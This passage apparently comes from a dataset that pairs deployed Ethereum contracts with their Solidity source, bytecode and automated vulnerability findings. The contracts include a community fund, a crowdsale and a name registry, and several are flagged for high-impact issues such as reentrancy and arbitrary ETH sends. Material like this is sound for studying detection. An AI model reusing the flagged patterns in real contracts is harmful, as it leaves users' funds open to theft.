a01b0316336001600160a01b031614610f7357600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6001600160a01b038316610ff95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107bd565b6001600160a01b03821661105a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107bd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661111f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107bd565b6001600160a01b0382166111815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107bd565b600081116111e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107bd565b6001600160a01b03821660009081526005602052604090205460ff16156112575760405162461bcd60e51b815260206004820152602260248201527f5472616e73666572206661696c65642c2044656661756c7465722077616c6c656044820152613a1760f11b60648201526084016107bd565b600080546001600160a01b0385811691161480159061128457506000546001600160a01b03848116911614155b1561154c576009546001600160a01b0385811691161480156112b457506006546001600160a01b03848116911614155b80156112d957506001600160a01b03831660009081526004602052604090205460ff16155b156114655760105460ff166113305760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107bd565b600f544214156113705760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107bd565b42600f5460786113809190611b3e565b11156113f957600e546113928461095d565b61139c9084611b3e565b11156113f95760405162461bcd60e51b815260206004820152602660248201527f455252203a204d617857616c6c6574486f6c64696e672052756c652056696f6c60448201526530ba32b2101760d11b60648201526084016107bd565b42600f5460786114099190611b3e565b111561146157600d548211156114615760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107bd565b5060015b601054610100900460ff1615801561147f575060105460ff165b801561149957506009546001600160a01b03858116911614155b1561154c5760006114a93061095d565b905080156115355760105462010000900460ff161561152c57600c54600954606491906114de906001600160a01b031661095d565b6114e89190611b56565b6114f29190611b75565b81111561152c57600c5460095460649190611515906001600160a01b031661095d565b61151f9190611b56565b6115299190611b75565b90505b61153581611630565b47801561154557611545476115ab565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061158e57506001600160a01b03841660009081526004602052604090205460ff165b15611597575060005b6115a485858584866117a4565b5050505050565b6007546001600160a01b03166108fc6115c5600284611b75565b6040518115909202916000818181858888f193505050501580156115ed573d6000803e3d6000fd5b506008546001600160a01b03166108fc611608600284611b75565b6040518115909202916000818181858888f19350505050158015610f4f573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061167457611674611b97565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f19190611ad1565b8160018151811061170457611704611b97565b6001600160a01b03928316602091820292909201015260065461172a9130911684610f97565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611763908590600090869030904290600401611bad565b600060405180830381600087803b15801561177d57600080fd5b505af1158015611791573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006117b083836117c6565b90506117be868686846117ea565b505050505050565b60008083156117e35782156117de5750600a546117e3565b50600b545b9392505050565b6000806117f784846118c7565b6001600160a01b0388166000908152600260205260409020549193509150611820908590611a85565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611850908390611b3e565b6001600160a01b038616600090815260026020526040902055611872816118fb565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b791815260200190565b60405180910390a3505050505050565b6000808060646118d78587611b56565b6118e19190611b75565b905060006118ef8287611a85565b96919550909350505050565b30600090815260026020526040902054611916908290611b3e565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119565785810183015185820160400152820161193a565b81811115611968576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461095a57600080fd5b6000602082840312156119a557600080fd5b81356117e38161197e565b600080604083850312156119c357600080fd5b82356119ce8161197e565b946020939093013593505050565b6000806000606084860312156119f157600080fd5b83356119fc8161197e565b92506020840135611a0c8161197e565b929592945050506040919091013590565b600060208284031215611a2f57600080fd5b5035919050565b60008060408385031215611a4957600080fd5b8235611a548161197e565b91506020830135611a648161197e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611a9757611a97611a6f565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ae357600080fd5b81516117e38161197e565b600080600060608486031215611b0357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b2e57600080fd5b815180151581146117e357600080fd5b60008219821115611b5157611b51611a6f565b500190565b6000816000190483118215151615611b7057611b70611a6f565b500290565b600082611b9257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bfd5784516001600160a01b031683529383019391830191600101611bd8565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d5ef4f97c20546dd74286818cbcb0ca894fdc478201166b921fb077c317266ea64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,672
0xabc6749752e943cee8573485409e0b3d230da763
pragma solidity 0.4.20; /* * Team AppX presents... * https://powtf.com/ * https://discord.gg/Ne2PTnS * * /======== A Community Marketing Fund Project for PoWTF ========/ * * -> WTF is this!? * In short, this is a contract to accept PoWTF token / ETH donations from community members * as a way of gathering funds for regular marketing and contests. * [✓] Hands of Stainless Steel! This contract never sells, it can't and just simply don't know how to sell! * [✓] Community Goods: All dividends will be used for promotional fee / contest prizes, when the accumulated dividends reached certain amount, we'll create some campaign. * [✓] Transparency: How to use the dividends will be regularly updated in website and discord announcement. * [✓] Security: You need to trust me (@AppX Matthew) not taking the dividends and go away :) * * -> Quotes * "Real, sustainable community change requires the initiative and engagement of community members." - Helene D. Gayle * "Every successful individual knows that his or her achievement depends on a community of persons working together." - Paul Ryan * "Empathy is the starting point for creating a community and taking action. It's the impetus for creating change." - Max Carver * "WTF Moon!" - AppX Matthew * * =================================================* * * * __________ __ ________________________ * * \______ \____/ \ / \__ ___/\_ _____/ * * | ___/ _ \ \/\/ / | | | __) * * | | ( <_> ) / | | | \ * * |____| \____/ \__/\ / |____| \___ / * * \/ \/ * * * * =================================================* * */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title PullPayment * @dev Base contract supporting async send for pull payments. Inherit from this * contract and use asyncSend instead of send. */ contract PullPayment { using SafeMath for uint256; mapping(address => uint256) public payments; uint256 public totalPayments; /** * @dev withdraw accumulated balance, called by payee. */ function withdrawPayments() public { address payee = msg.sender; uint256 payment = payments[payee]; require(payment != 0); require(this.balance >= payment); totalPayments = totalPayments.sub(payment); payments[payee] = 0; assert(payee.send(payment)); } /** * @dev Called by the payer to store the sent amount as credit to be pulled. * @param dest The destination address of the funds. * @param amount The amount to transfer. */ function asyncSend(address dest, uint256 amount) internal { payments[dest] = payments[dest].add(amount); totalPayments = totalPayments.add(amount); } } /// @dev Interface to the PoWTF contract. contract PoWTFInterface { /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) public payable returns (uint256); /// @dev Converts all of caller's dividends to tokens. function reinvest() public; /// @dev Alias of sell() and withdraw(). function exit() public; /// @dev Withdraws all of the callers earnings. function withdraw() public; /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) public; /** * @dev Transfer tokens from the caller to a new holder. * Remember, there's a 15% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) public returns (bool); /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256); /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256); /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256); /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256); /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256); /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256); /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256); /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256); /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256); /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256); /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256); /** * @dev Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256); /** * @dev Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256); /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y); } /// @dev Core Contract contract PoWTFCommunityFund is Ownable, PullPayment { /*================================= = CONTRACTS = =================================*/ /// @dev The address of the EtherDungeonCore contract. PoWTFInterface public poWtfContract = PoWTFInterface(0x702392282255f8c0993dBBBb148D80D2ef6795b1); /*============================== = EVENTS = ==============================*/ event LogDonateETH( address indexed donarAddress, uint256 amount, uint256 timestamp ); /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /// @dev Besides donating PoWTF tokens, you can also donate ETH as well. function donateETH() public payable { // When you make an ETH donation, it will use your address as referrer / masternode. poWtfContract.buy.value(msg.value)(msg.sender); // Emit LogDonateETH event. LogDonateETH(msg.sender, msg.value, now); } /// @dev Converts ETH dividends to PoWTF tokens. function reinvestDividend() onlyOwner public { poWtfContract.reinvest(); } /// @dev Withdraw ETH dividends and put it to this contract. function withdrawDividend() onlyOwner public { poWtfContract.withdraw(); } /// @dev Assign who can get how much of the dividends. function assignFundReceiver(address _fundReceiver, uint _amount) onlyOwner public { // Ensure there are sufficient available balance. require(_amount <= this.balance - totalPayments); // Using the asyncSend function of PullPayment, fund receiver can withdraw it anytime. asyncSend(_fundReceiver, _amount); } /// @dev Fallback function to allow receiving funds from PoWTF contract. function() public payable {} /*======================================= = SETTER FUNCTIONS = =======================================*/ function setPoWtfContract(address _newPoWtfContractAddress) onlyOwner external { poWtfContract = PoWTFInterface(_newPoWtfContractAddress); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100945763ffffffff60e060020a6000350416625b4487811461009657806353b239c7146100bb5780636103d70b146100da5780636a474002146100ed5780637da39157146101005780638b4c40b01461012f5780638da5cb5b14610137578063d1632f671461014a578063e2982c211461016c578063f03a56871461018b578063f2fde38b1461019e575b005b34156100a157600080fd5b6100a96101bd565b60405190815260200160405180910390f35b34156100c657600080fd5b610094600160a060020a03600435166101c3565b34156100e557600080fd5b61009461020d565b34156100f857600080fd5b6100946102a6565b341561010b57600080fd5b610113610316565b604051600160a060020a03909116815260200160405180910390f35b610094610325565b341561014257600080fd5b6101136103e0565b341561015557600080fd5b610094600160a060020a03600435166024356103ef565b341561017757600080fd5b6100a9600160a060020a036004351661042f565b341561019657600080fd5b610094610441565b34156101a957600080fd5b610094600160a060020a036004351661049b565b60025481565b60005433600160a060020a039081169116146101de57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b33600160a060020a03811660009081526001602052604090205480151561023357600080fd5b600160a060020a033016318190101561024b57600080fd5b60025461025e908263ffffffff61053616565b600255600160a060020a0382166000818152600160205260408082209190915582156108fc0290839051600060405180830381858888f1935050505015156102a257fe5b5050565b60005433600160a060020a039081169116146102c157600080fd5b600354600160a060020a0316633ccfd60b6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561030057600080fd5b6102c65a03f1151561031157600080fd5b505050565b600354600160a060020a031681565b600354600160a060020a031663f088d547343360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390911660048201526024016020604051808303818588803b151561037e57600080fd5b6125ee5a03f1151561038f57600080fd5b5050505060405180515050600160a060020a0333167fbdf1e51339f01f93307d90fb0c439218118fa1c4855e5a60e924527030212ab2344260405191825260208201526040908101905180910390a2565b600054600160a060020a031681565b60005433600160a060020a0390811691161461040a57600080fd5b600254600160a060020a033016310381111561042557600080fd5b6102a28282610548565b60016020526000908152604090205481565b60005433600160a060020a0390811691161461045c57600080fd5b600354600160a060020a031663fdb5a03e6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561030057600080fd5b60005433600160a060020a039081169116146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561054257fe5b50900390565b600160a060020a038216600090815260016020526040902054610571908263ffffffff6105a416565b600160a060020a03831660009081526001602052604090205560025461059d908263ffffffff6105a416565b6002555050565b6000828201838110156105b357fe5b93925050505600a165627a7a72305820f04c50c5747da9c8cce91905c2e15ca4b93ecbd9572d12e8a3e0478ce10fcb210029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,673
0x4ea075005558af61479aff78f6d1342b9974b98d
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using &#39;super&#39; where appropriate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate = 9000; // Amount of wei raised uint256 public weiRaised; uint256 public descending = 0 ether; uint256 public descendingCount = 0.05 ether; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(address _wallet, ERC20 _token) public { require(_wallet != address(0)); require(_token != address(0)); wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); tokens = tokens.sub(descending); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); descending = descending.add(descendingCount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol&#39;s _preValidatePurchase method: * super._preValidatePurchase(_beneficiary, _weiAmount); * require(weiRaised.add(_weiAmount) <= cap); * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } contract WINECrowdsale is Ownable, Crowdsale { constructor(address _wallet, ERC20 _token) public Crowdsale(_wallet, _token){ } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } function withdrawTokens(ERC20 _token, address _to, uint256 _amount) public onlyOwner validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } function setNewWallet(address _newWallet) public onlyOwner { require(_newWallet != address(0)); wallet = _newWallet; } }
0x6080604052600436106100955763ffffffff60e060020a6000350416631905fbf681146100a05780632c4e722e146100c15780634042b66f146100e857806348c4d7ce146100fd578063521eb273146101125780635e35359e146101435780638da5cb5b1461016d57806394c06a5814610182578063ec8ac4d814610197578063f2fde38b146101ab578063fc0c546a146101cc575b61009e336101e1565b005b3480156100ac57600080fd5b5061009e600160a060020a03600435166102b2565b3480156100cd57600080fd5b506100d661030d565b60408051918252519081900360200190f35b3480156100f457600080fd5b506100d6610313565b34801561010957600080fd5b506100d6610319565b34801561011e57600080fd5b5061012761031f565b60408051600160a060020a039092168252519081900360200190f35b34801561014f57600080fd5b5061009e600160a060020a036004358116906024351660443561032e565b34801561017957600080fd5b50610127610427565b34801561018e57600080fd5b506100d6610436565b61009e600160a060020a03600435166101e1565b3480156101b757600080fd5b5061009e600160a060020a036004351661043c565b3480156101d857600080fd5b506101276104d0565b3460006101ee83836104df565b6101f782610504565b905061020e6005548261052190919063ffffffff16565b600454909150610224908363ffffffff61053316565b6004556102318382610540565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36102838383610500565b61028b61054a565b6102958383610500565b6006546005546102aa9163ffffffff61053316565b600555505050565b600054600160a060020a031633146102c957600080fd5b600160a060020a03811615156102de57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60035481565b60045481565b60065481565b600254600160a060020a031681565b600054600160a060020a0316331461034557600080fd5b82600160a060020a038116151561035b57600080fd5b82600160a060020a038116151561037157600080fd5b83600160a060020a03811630141561038857600080fd5b85600160a060020a031663a9059cbb86866040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156103eb57600080fd5b505af11580156103ff573d6000803e3d6000fd5b505050506040513d602081101561041557600080fd5b5051151561041f57fe5b505050505050565b600054600160a060020a031681565b60055481565b600054600160a060020a0316331461045357600080fd5b600160a060020a038116151561046857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b600160a060020a03821615156104f457600080fd5b80151561050057600080fd5b5050565b600061051b6003548361058690919063ffffffff16565b92915050565b60008282111561052d57fe5b50900390565b8181018281101561051b57fe5b61050082826105af565b600254604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610583573d6000803e3d6000fd5b50565b60008215156105975750600061051b565b508181028183828115156105a757fe5b041461051b57fe5b60015461050090600160a060020a0316838363ffffffff6105cc16565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561062f57600080fd5b505af1158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b5051151561066657600080fd5b5050505600a165627a7a72305820c971e17529cecc1bb292cadf1ed711ac402b7d67dae30e9537cf43b6882438960029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,674
0xd8cf2c8FF707b928fcdAe96AD551cBBb17D433f2
pragma solidity ^0.4.24; /** * @title SafeMath from zeppelin-solidity * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title PNS - Physical Form of CryptoCurrency Name System * @dev Physical form cryptocurrency name system smart contract is implemented * to manage and record physical form cryptocurrency manufacturers' * informations, such as the name of the manufacturer, the public key * of the key pair whose private key signed the certificate of the physical * form cryptocurrency, etc. * * @author Hui Xie - <hui.742369@gmail.com> */ contract PNS { using SafeMath for uint256; // Event of register event Register(address indexed _from, string _mfr, bytes32 _mid); // Event of transfer ownership event Transfer(address indexed _from, string _mfr, bytes32 _mid, address _owner); // Event of push a new batch event Push(address indexed _from, string _mfr, bytes32 _mid, string _bn, bytes32 _bid, bytes _key); // Event of set batch number event SetBn(address indexed _from, string _mfr, bytes32 _mid, string _bn, bytes32 _bid, bytes _key); // Event of set public key event SetKey(address indexed _from, string _mfr, bytes32 _mid, string _bn, bytes32 _bid, bytes _key); // Event of lock a batch event Lock(address indexed _from, string _mfr, bytes32 _mid, string _bn, bytes32 _bid, bytes _key); // Manufacturer informations struct Manufacturer { address owner; // owner address string mfr; // manufacturer name mapping (bytes32 => Batch) batchmapping; // mapping of batch: mapping (batch ID => batch structure) mapping (uint256 => bytes32) bidmapping; // mapping of batch ID: mapping (storage index => batch ID), batch ID = keccak256(batch number) uint256 bidcounter; // storage index counter of bidmapping } // Product batch informations struct Batch { string bn; // batch number bytes key; // public key bool lock; // is changeable or not } // Mapping of manufactures: mapping (manufacturer ID => manufacturer struct), Manufacturer ID = keccak256(uppercaseOf(manufacturer name)) mapping (bytes32 => Manufacturer) internal mfrmapping; // Mapping of manufacturer ID: mapping (storage index => manufacturer ID) mapping (uint256 => bytes32) internal midmapping; // Storage index counter of midmapping uint256 internal midcounter; /** * @dev Register a manufacturer. * * @param _mfr Manufacturer name * @return Manufacturer ID */ function register(string _mfr) public returns (bytes32) { require(lengthOf(_mfr) > 0); require(msg.sender != address(0)); bytes32 mid = keccak256(bytes(uppercaseOf(_mfr))); require(mfrmapping[mid].owner == address(0)); midcounter = midcounter.add(1); midmapping[midcounter] = mid; mfrmapping[mid].owner = msg.sender; mfrmapping[mid].mfr = _mfr; emit Register(msg.sender, _mfr, mid); return mid; } /** * @dev Transfer ownership of a manufacturer. * * @param _mid Manufacturer ID * @param _owner Address of new owner * @return Batch ID */ function transfer(bytes32 _mid, address _owner) public returns (bytes32) { require(_mid != bytes32(0)); require(_owner != address(0)); require(mfrmapping[_mid].owner != 